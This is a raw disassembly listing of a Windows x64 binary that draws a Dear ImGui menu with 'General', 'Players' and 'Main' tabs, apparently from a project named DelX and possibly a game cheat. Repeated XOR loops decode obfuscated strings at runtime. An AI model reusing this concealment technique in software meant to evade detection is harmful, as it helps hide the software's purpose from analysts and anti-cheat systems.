xorps xmm2, xmm1
movd dword [rbp + 0xd0], xmm2
movdqa xmm2, xmmword [0x1400e9fc0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd4]
xorps xmm2, xmm1
movd dword [rbp + 0xd4], xmm2
movdqa xmm2, xmmword [0x1400e9fd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0xd8], xmm2
jmp 0x14005c532
lea r9, [rbp + 0xc8]
nop dword [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14005c500
mov eax, dword [0x1400e9aa0]
mov dword [rbp - 0x44], eax
cmp byte [0x1400e9aa3], r15b
je 0x14005c5f2
mov r8d, r15d
cmp r12d, 2
jl 0x14005c5b9
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm6
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x44], xmm1
jmp 0x14005c5f2
lea r9, [rbp - 0x44]
nop dword [rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14005c5c0
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000
lea rax, [rbp + 0x288]
mov qword [rsp + 0x20], rax
mov r9d, 0x41
lea r8, [0x140122c80]
lea rdx, [rbp + 0xc8]
lea rcx, [rbp - 0x44]
call fcn.140041500
mov rcx, qword [0x140122bc0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, xmm9
addss xmm1, dword [0x1400e9d68]
unpcklps xmm0, xmm1
movsd qword [rax + 0x100], xmm0
mov byte [rax + 0x141], 1
mov dword [rbp + 0x290], 0x44110000
mov dword [rbp + 0x294], 0x42200000
movsd xmm0, qword [0x1400e9878]
movsd qword [rbp + 0x50], xmm0
mov ecx, dword [0x1400e9880]
mov dword [rbp + 0x58], ecx
movzx eax, word [0x1400e9884]
mov word [rbp + 0x5c], ax
movzx eax, byte [0x1400e9886]
mov byte [rbp + 0x5e], al
mov r8d, r15d
cmp r12d, 2
jl 0x14005c815
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm6
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1400e9878]
xorps xmm1, xmm0
movd dword [rbp + 0x50], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm14
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x54]
xorps xmm2, xmm1
movd dword [rbp + 0x54], xmm2
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm14
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x58], xmm2
mov r8d, ntohs
mov eax, r8d
lea r9, [rbp + 0x50]
add r9, rax
mov rsi, qword [rbp - 0x50]
mov r14, qword [rbp - 0x30]
mov r15, qword [rbp - 0x10]
nop dword [rax + rax]
mov r10, r13
mov r11, rsi
mov rbx, r14
mov rdi, r15
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14005c830
mov eax, dword [0x1400e9894]
mov dword [rbp - 0x40], eax
mov qword [rbp - 0x10], r15
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x70], r13
xor r15d, r15d
cmp byte [0x1400e9897], r15b
je 0x14005c952
mov r8d, r15d
mov qword [rbp - 0x10], rdi
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x70], r13
cmp r12d, 2
jl 0x14005c919
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm6
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x40], xmm1
jmp 0x14005c952
lea r9, [rbp - 0x40]
nop dword [rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14005c920
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
lea rax, [rbp + 0x290]
mov qword [rsp + 0x20], rax
mov r9d, 0x41
lea rbx, [0x140122cd0]
mov r8, rbx
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x40]
call fcn.140041500
mov rcx, qword [0x140122bc0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, xmm9
addss xmm1, dword [0x1400e9d80]
unpcklps xmm0, xmm1
movsd qword [rax + 0x100], xmm0
mov byte [rax + 0x141], 1
mov dword [rbp + 0x298], 0x43b18000
mov dword [rbp + 0x29c], 0x42200000
movsd xmm0, qword [str.gSPQJNN]
movsd qword [rsp + 0x7c], xmm0
movzx eax, byte [0x1400e9890]
mov byte [rsp + 0x7c], 0x52
xor byte [rsp + 0x7d], 0x36
xor byte [rsp + 0x7e], 0x37
xor byte [rsp + 0x7f], 0x38
xor byte [rbp - 0x80], 0x39
xor byte [rbp - 0x7f], 0x3a
xor byte [rbp - 0x7e], 0x3b
xor byte [rbp - 0x7d], 0x3c
xor al, 0x3d
mov byte [rbp - 0x7c], al
lea rdx, [rbp + 0x298]
lea rcx, [rsp + 0x7c]
call fcn.14003a1e0
test al, al
je 0x14005cb3a
xorps xmm0, xmm0
movups xmmword [rbp + 0xb88], xmm0
mov qword [rbp + 0xb98], r15
mov qword [rbp + 0xba0], r15
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14005ca70
mov rdx, rbx
lea rcx, [rbp + 0xb88]
call fcn.1400492f0
xorps xmm0, xmm0
movups xmmword [rbp + 0xba8], xmm0
mov qword [rbp + 0xbb8], r15
mov qword [rbp + 0xbc0], r15
mov r8, 0xffffffffffffffff
lea rsi, [0x140122c80]
nop
inc r8
cmp byte [rsi + r8], 0
jne 0x14005cab0
mov rdx, rsi
lea rcx, [rbp + 0xba8]
call fcn.1400492f0
xorps xmm0, xmm0
movups xmmword [rbp + 0xbc8], xmm0
mov qword [rbp + 0xbd8], r15
mov qword [rbp + 0xbe0], r15
mov r8, 0xffffffffffffffff
lea rbx, [0x140122d20]
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x14005caf0
mov rdx, rbx
lea rcx, [rbp + 0xbc8]
call fcn.1400492f0
lea r9, [rbp + 0xb88]
lea r8, [rbp + 0xba8]
lea rdx, [rbp + 0xbc8]
lea rcx, [0x140122db0]
call fcn.140073ac0
cmp byte [0x140122fc8], 0
je 0x14005cb3a
mov byte [0x140122bba], 1
call fcn.14000cfc0
call fcn.1400178b0
movss xmm8, dword [0x1400e9df4]
jmp 0x14005cbe0
cmp eax, 2
jne 0x14005cbe0
call fcn.140017760
mov dword [rbp + 0x2a0], 0x43980000
mov dword [rbp + 0x2a4], 0x43960000
lea r8, [rbp + 0x2a0]
lea rdx, str.General
mov rcx, qword [0x140123460]
call fcn.14000ceb0
call fcn.14000cfc0
call fcn.1400178b0
movaps xmm1, xmm7
xorps xmm0, xmm0
call fcn.140017460
call fcn.140017760
mov dword [rbp + 0x2a8], 0x43980000
mov dword [rbp + 0x2ac], 0x43480000
lea r8, [rbp + 0x2a8]
lea rdx, str.Players
mov rcx, qword [0x140123450]
call fcn.14000ceb0
call fcn.14000cfc0
call fcn.1400178b0
mov edi, 1
mov ecx, edi
call fcn.1400051c0
mov rcx, qword [0x140122bc0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], dil
mov rax, qword [rcx + 0x3f08]
cmp byte [rax + 0xbb], 0
jne 0x14005cc2c
mov qword [rbp + 0x2b0], 0
movaps xmm1, xmm8
lea rcx, [rbp + 0x2b0]
call fcn.140017110
call fcn.14000c5e0
call fcn.140012550
movzx ecx, byte [0x140122bba]
movabs r14, 0x6666666666666667
jmp 0x14005cc52
xorps xmm10, xmm10
mov edi, 1
mov rbx, qword [0x140122bc0]
mov eax, dword [rbx + 0x47f0]
or eax, 2
mov dword [rbx + 0x47f0], eax
movsd xmm0, qword [0x1401217b8]
movsd qword [rbx + 0x4810], xmm0
mov dword [rbx + 0x47f8], edi
test cl, cl
je 0x14005ef21
or eax, 1
mov dword [rbx + 0x47f0], eax
mov qword [rbx + 0x4800], 0
movaps xmm0, xmm10
unpcklps xmm0, xmm10
movsd qword [rbx + 0x4808], xmm0
mov dword [rbx + 0x47f4], edi
xor edx, edx
mov r8d, 0x202b
lea rcx, str.Main
call fcn.14000ffa0
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x1400606c1
lea rdx, [0x140122ef0]
lea rcx, [rbp + 0x1f8]
call fcn.1400619b0
lea rdx, [rbp + 0x1f8]
cmp qword [rbp + 0x210], 0xf
cmova rdx, qword [rbp + 0x1f8]
movdqa xmm0, xmmword [0x1400e9f50]
movups xmmword [rbp + 0xe88], xmm0
lea rcx, [rbp + 0xe88]
call fcn.1400399b0
cmp qword [0x140122f00], 0
je 0x1400603a6
call fcn.1400571e0
mov r8, qword [0x140122bc0]
mov rax, qword [r8 + 0x3f08]
movsd xmm0, qword [rax + 0x20]
movsd qword [rbp + 0x380], xmm0
mov byte [rax + 0xb8], 1
mov rax, qword [r8 + 0x3f08]
mov r15, qword [rax + 0x2a0]
lea r13, [r8 + 0x37c8]
movss xmm8, dword [rax + 0x20]
movss xmm9, dword [rax + 0x24]
movsd xmm1, qword [rax + 0x28]
movsd xmm7, qword [rax + 0x20]
addss xmm7, xmm1
movss xmm6, dword [rax + 0x24]
movaps xmm0, xmm1
shufps xmm0, xmm0, 0x55
addss xmm6, xmm0
movss xmm0, dword [0x140123b08]
movss dword [rbp + 0x678], xmm0
movss xmm1, dword [0x140123b0c]
movss dword [rbp + 0x67c], xmm1
movss xmm0, dword [0x140123b10]
movss dword [rbp + 0x680], xmm0
movss xmm1, dword [0x140123b14]
mulss xmm1, dword [r13]
movss dword [rbp + 0x684], xmm1
lea rcx, [rbp + 0x678]
call fcn.1400049e0
mov ebx, eax
test eax, 0xff000000
je 0x14005cece
movss xmm0, dword [0x1400e9bac]
addss xmm8, xmm0
addss xmm9, xmm0
movaps xmm3, xmm11
mov eax, 0xf0
test byte [r15 + 0x30], 1
je 0x14005ce4b
subss xmm7, xmm0
movss dword [rbp + 0x2c0], xmm7
subss xmm6, xmm0
movss dword [rbp + 0x2c4], xmm6
movss dword [rbp + 0x2b8], xmm8
movss dword [rbp + 0x2bc], xmm9
lea rdx, [rbp + 0x2b8]
lea r8, [rbp + 0x2c0]
jmp 0x14005ce8b
subss xmm7, dword [0x1400e9ba8]
movss dword [rbp + 0x2d0], xmm7
subss xmm6, dword [0x1400e9ba8]
movss dword [rbp + 0x2d4], xmm6
movss dword [rbp + 0x2c8], xmm8
movss dword [rbp + 0x2cc], xmm9
lea rdx, [rbp + 0x2c8]
lea r8, [rbp + 0x2d0]
mov dword [rsp + 0x20], eax
mov rcx, r15
call fcn.14002be80
movss xmm0, dword [0x1400e9c24]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], edi
mov r9d, ebx
mov r8d, dword [r15 + 0x78]
mov rdx, qword [r15 + 0x80]
mov rcx, r15
call fcn.140029fe0
xor esi, esi
mov dword [r15 + 0x78], esi
mov r8, qword [0x140122bc0]
jmp 0x14005ced0
xor esi, esi
movups xmm0, xmmword [0x140123938]
movups xmmword [r13 + 0x10c], xmm0
movups xmm1, xmmword [0x140123a38]
movups xmmword [r13 + 0x13c], xmm1
movaps xmm0, xmm10
movss xmm1, dword [0x1400e9c24]
unpcklps xmm0, xmm1
movsd qword [r13 + 0x4c], xmm0
movaps xmm0, xmm10
unpcklps xmm0, xmm10
movsd qword [r13 + 8], xmm0
mov dword [r13 + 0x10], 0x41000000
mov rax, qword [r8 + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [r8 + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
movss xmm6, dword [0x1400e9c5c]
addss xmm0, xmm6
addss xmm1, xmm6
unpcklps xmm0, xmm1
movsd qword [rax + 0x100], xmm0
mov byte [rax + 0x141], 1
mov dword [rbp + 0x2d8], 0x441b0000
mov dword [rbp + 0x2dc], 0x42700000
mov rax, qword [r8 + 0x3f08]
mov byte [rax + 0xb8], 1
lea rdx, str.General_Tabs
mov rcx, qword [r8 + 0x3f08]
call fcn.140007fa0
mov edx, eax
mov dword [rsp + 0x20], 0x80
lea r8, [rbp + 0x2d8]
lea rcx, str.General_Tabs
call fcn.14000c380
mov rcx, qword [0x140122bc0]
mov rax, qword [rcx + 0x3f08]
movsd xmm9, qword [rax + 0x20]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
mov rbx, qword [rax + 0x2a0]
movss xmm0, dword [0x140124448]
movss dword [rbp + 0x688], xmm0
movss xmm1, dword [0x14012444c]
movss dword [rbp + 0x68c], xmm1
movss xmm0, dword [0x140124450]
movss dword [rbp + 0x690], xmm0
movss xmm1, dword [0x140124454]
mulss xmm1, dword [rcx + 0x37c8]
movss dword [rbp + 0x694], xmm1
movsd qword [rbp + 0x920], xmm9
movaps xmm0, xmm9
addss xmm0, dword [0x1400e9db4]
movss dword [rbp + 0x2e0], xmm0
movss xmm10, dword [rbp + 0x924]
movaps xmm11, xmm10
addss xmm11, dword [0x1400e9ce8]
movss dword [rbp + 0x2e4], xmm11
movss dword [rbp + 0x2e8], xmm9
movss dword [rbp + 0x2ec], xmm10
lea rcx, [rbp + 0x688]
call fcn.1400049e0
mov r9d, eax
mov dword [rsp + 0x28], esi
movss dword [rsp + 0x20], xmm6
lea r8, [rbp + 0x2e0]
lea rdx, [rbp + 0x2e8]
mov rcx, rbx
call fcn.14002c4e0
movsd xmm0, qword [str.qS__]
movsd qword [rbp - 0x1c], xmm0
mov ecx, dword [0x1400e97f8]
mov dword [rbp - 0x14], ecx
cmp byte [0x1400e97fb], 0
je 0x14005d262
mov r8d, esi
cmp r12d, 2
jl 0x14005d221
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov eax, dword [0x1400ea030]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.qS__]
xorps xmm1, xmm0
movd dword [rbp - 0x1c], xmm1
movdqa xmm2, xmmword [0x1400e9fa0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x18]
xorps xmm2, xmm1
movd dword [rbp - 0x18], xmm2
movdqa xmm2, xmmword [0x1400e9fb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp - 0x14], xmm2
jmp 0x14005d262
lea r9, [rbp - 0x1c]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14005d230
movups xmm0, xmmword [0x140123b08]
movups xmmword [rbp + 0xe98], xmm0
lea rcx, [rbp + 0xe98]
call fcn.1400049e0
mov r14d, eax
movaps xmm0, xmm9
movss xmm6, dword [0x1400e9c8c]
addss xmm0, xmm6
movss dword [rbp + 0x2f0], xmm0
movaps xmm1, xmm10
addss xmm1, xmm6
movss dword [rbp + 0x2f4], xmm1
mov rdi, qword [0x140122c68]
test eax, 0xff000000
je 0x14005d367
lea rax, [rbp - 0x1c]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x14005d2c4
lea rsi, [rbp - 0x1c]
add rsi, rcx
lea rax, [rbp - 0x1c]
cmp rax, rsi
je 0x14005d365
test rdi, rdi
jne 0x14005d2ee
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
mov rcx, qword [rdi + 0x40]
mov rax, qword [rbx + 0x98]
cmp qword [rcx + 8], rax
je 0x14005d319
mov r8d, 0x6bc
lea rdx, str.D:DelX_Projectimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
movups xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x48], 0
xorps xmm1, xmm1
movss dword [rsp + 0x40], xmm1
mov qword [rsp + 0x38], rsi
lea rax, [rbp - 0x1c]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
lea r9, [rbp + 0x2f0]
movaps xmm2, xmm6
mov rdx, rbx
mov rcx, rdi
call fcn.1400362d0
xor esi, esi
movss xmm5, dword [0x140123b08]
movss dword [rbp + 0x698], xmm5
movss xmm4, dword [0x140123b0c]
movss dword [rbp + 0x69c], xmm4
movss xmm3, dword [0x140123b10]
movss dword [rbp + 0x6a0], xmm3
mov rax, qword [0x140122bc0]
movss xmm2, dword [rax + 0x37c8]
movaps xmm0, xmm2
mulss xmm0, dword [0x140123b14]
movss dword [rbp + 0x6a4], xmm0
movss dword [rbp + 0x6a8], xmm5
movss dword [rbp + 0x6ac], xmm4
movss dword [rbp + 0x6b0], xmm3
movss dword [rbp + 0x6b4], xmm0
movss dword [rbp + 0x6b8], xmm5
movss dword [rbp + 0x6bc], xmm4
movss dword [rbp + 0x6c0], xmm3
mulss xmm2, dword [0x1400e9b38]
mulss xmm2, dword [0x140123b14]
movss dword [rbp + 0x6c4], xmm2
movss dword [rbp + 0x6c8], xmm5
movss dword [rbp + 0x6cc], xmm4
movss dword [rbp + 0x6d0], xmm3
movss dword [rbp + 0x6d4], xmm2
movaps xmm7, xmm9
addss xmm7, dword [0x1400e9d40]
movss dword [rbp + 0x2f8], xmm7
movaps xmm8, xmm10
addss xmm8, dword [0x1400e9cac]
movss dword [rbp + 0x2fc], xmm8
movaps xmm6, xmm9
addss xmm6, dword [0x1400e9d3c]
movss dword [rbp + 0x300], xmm6
movaps xmm0, xmm10
addss xmm0, dword [0x1400e9c74]
movss dword [rbp + 0x304], xmm0
lea rcx, [rbp + 0x698]
call fcn.1400049e0
mov r11d, eax
lea rcx, [rbp + 0x6a8]
call fcn.1400049e0
mov r10d, eax
lea rcx, [rbp + 0x6b8]
call fcn.1400049e0
mov r8d, eax
lea rcx, [rbp + 0x6c8]
call fcn.1400049e0
mov r9d, eax
mov dword [rsp + 0x30], r11d
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], r8d
lea r8, [rbp + 0x2f8]
lea rdx, [rbp + 0x300]
mov rcx, rbx
call fcn.14002cde0
movss xmm5, dword [0x140123b08]
movss dword [rbp + 0x6d8], xmm5
movss xmm4, dword [0x140123b0c]
movss dword [rbp + 0x6dc], xmm4
movss xmm3, dword [0x140123b10]
movss dword [rbp + 0x6e0], xmm3
mov rax, qword [0x140122bc0]
movss xmm2, dword [rax + 0x37c8]
movaps xmm0, xmm2
xorps xmm1, xmm1
mulss xmm0, xmm1
mulss xmm0, dword [0x140123b14]
movss dword [rbp + 0x6e4], xmm0
movss dword [rbp + 0x6e8], xmm5
movss dword [rbp + 0x6ec], xmm4
movss dword [rbp + 0x6f0], xmm3
movss dword [rbp + 0x6f4], xmm0
movss dword [rbp + 0x6f8], xmm5
movss dword [rbp + 0x6fc], xmm4
movss dword [rbp + 0x700], xmm3
mulss xmm2, dword [0x140123b14]
movss dword [rbp + 0x704], xmm2
movss dword [rbp + 0x708], xmm5
movss dword [rbp + 0x70c], xmm4
movss dword [rbp + 0x710], xmm3
movss dword [rbp + 0x714], xmm2
movss dword [rbp + 0x308], xmm7
movaps xmm0, xmm10
addss xmm0, dword [0x1400e9cc8]
movss dword [rbp + 0x30c], xmm0
movss dword [rbp + 0x310], xmm6
movss dword [rbp + 0x314], xmm8
lea rcx, [rbp + 0x6d8]
call fcn.1400049e0
mov r11d, eax
lea rcx, [rbp + 0x6e8]
call fcn.1400049e0
mov r10d, eax
lea rcx, [rbp + 0x6f8]
call fcn.1400049e0
mov r8d, eax
lea rcx, [rbp + 0x708]
call fcn.1400049e0
mov r9d, eax
mov dword [rsp + 0x30], r11d
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], r8d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x310]
mov rcx, rbx
call fcn.14002cde0
mov ecx, dword [0x140122c38]
cmp ecx, 1
je 0x14005d65e
cmp ecx, 2
je 0x14005d9e4
cmp ecx, 3
jne 0x14005d650
mov dword [0x1400fcb14], 0x59
jmp 0x14005d668
cmp ecx, 4
je 0x14005d9e4
cmp ecx, 5
jne 0x14005d668
mov dword [0x1400fcb14], 0x5c
mov rdx, qword [0x140122bc0]
test rdx, rdx
jne 0x14005d69b
mov r8d, 0x10ae
lea rdx, str.D:DelX_Projectimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov ecx, dword [0x140122c38]
mov rdx, qword [0x140122bc0]
mov eax, dword [0x1400fcb14]
imul eax, ecx
movd xmm6, eax
cvtdq2ps xmm6, xmm6
subss xmm6, dword [0x140122c2c]
movss xmm0, dword [rdx + 0x18]
mulss xmm0, dword [0x1400e9c74]
mulss xmm6, xmm0
addss xmm6, dword [0x140122c2c]
movss dword [0x140122c2c], xmm6
mov rax, qword [rdx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rdx + 0x3f08]
mov r10, qword [rax + 0x2a0]
movdqa xmm0, xmmword [0x1400ea2a0]
movups xmmword [rbp + 0xea8], xmm0
lea rcx, [rbp + 0xea8]
call fcn.1400049e0
movaps xmm0, xmm9
addss xmm0, dword [0x1400e9d84]
addss xmm0, xmm6
movss dword [rbp + 0x318], xmm0
movaps xmm0, xmm10
addss xmm0, dword [0x1400e9cd4]
movss dword [rbp + 0x31c], xmm0
movaps xmm1, xmm9
addss xmm1, dword [0x1400e9d50]
addss xmm1, xmm6
movss dword [rbp + 0x320], xmm1
movaps xmm0, xmm10
addss xmm0, dword [0x1400e9c64]
movss dword [rbp + 0x324], xmm0
mov dword [rsp + 0x28], esi
movss xmm0, dword [0x1400e9c34]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x318]
lea rdx, [rbp + 0x320]
mov rcx, r10
call fcn.14002c4e0
mov rcx, qword [0x140122bc0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
mov r10, qword [rax + 0x2a0]
movups xmm0, xmmword [0x140123b08]
movups xmmword [rbp + 0xeb8], xmm0
lea rcx, [rbp + 0xeb8]
call fcn.1400049e0
movaps xmm6, xmm9
addss xmm6, dword [0x1400e9d7c]
movaps xmm0, xmm6
addss xmm0, dword [0x140122c2c]
movss dword [rbp + 0x328], xmm0
movss dword [rbp + 0x32c], xmm11
addss xmm9, dword [0x1400e9d5c]
movaps xmm0, xmm9
addss xmm0, dword [0x140122c2c]
movss dword [rbp + 0x330], xmm0
addss xmm10, dword [0x1400e9ce0]
movss dword [rbp + 0x334], xmm10
mov dword [rsp + 0x28], Ordinal_50
movss xmm7, dword [0x1400e9c5c]
movss dword [rsp + 0x20], xmm7
mov r9d, eax
lea r8, [rbp + 0x328]
lea rdx, [rbp + 0x330]
mov rcx, r10
call fcn.14002c4e0
mov rcx, qword [0x140122bc0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
mov r10, qword [rax + 0x2a0]
mov qword [rbp + 0x338], 0
movss xmm0, dword [0x140123b08]
movss dword [rbp + 0x718], xmm0
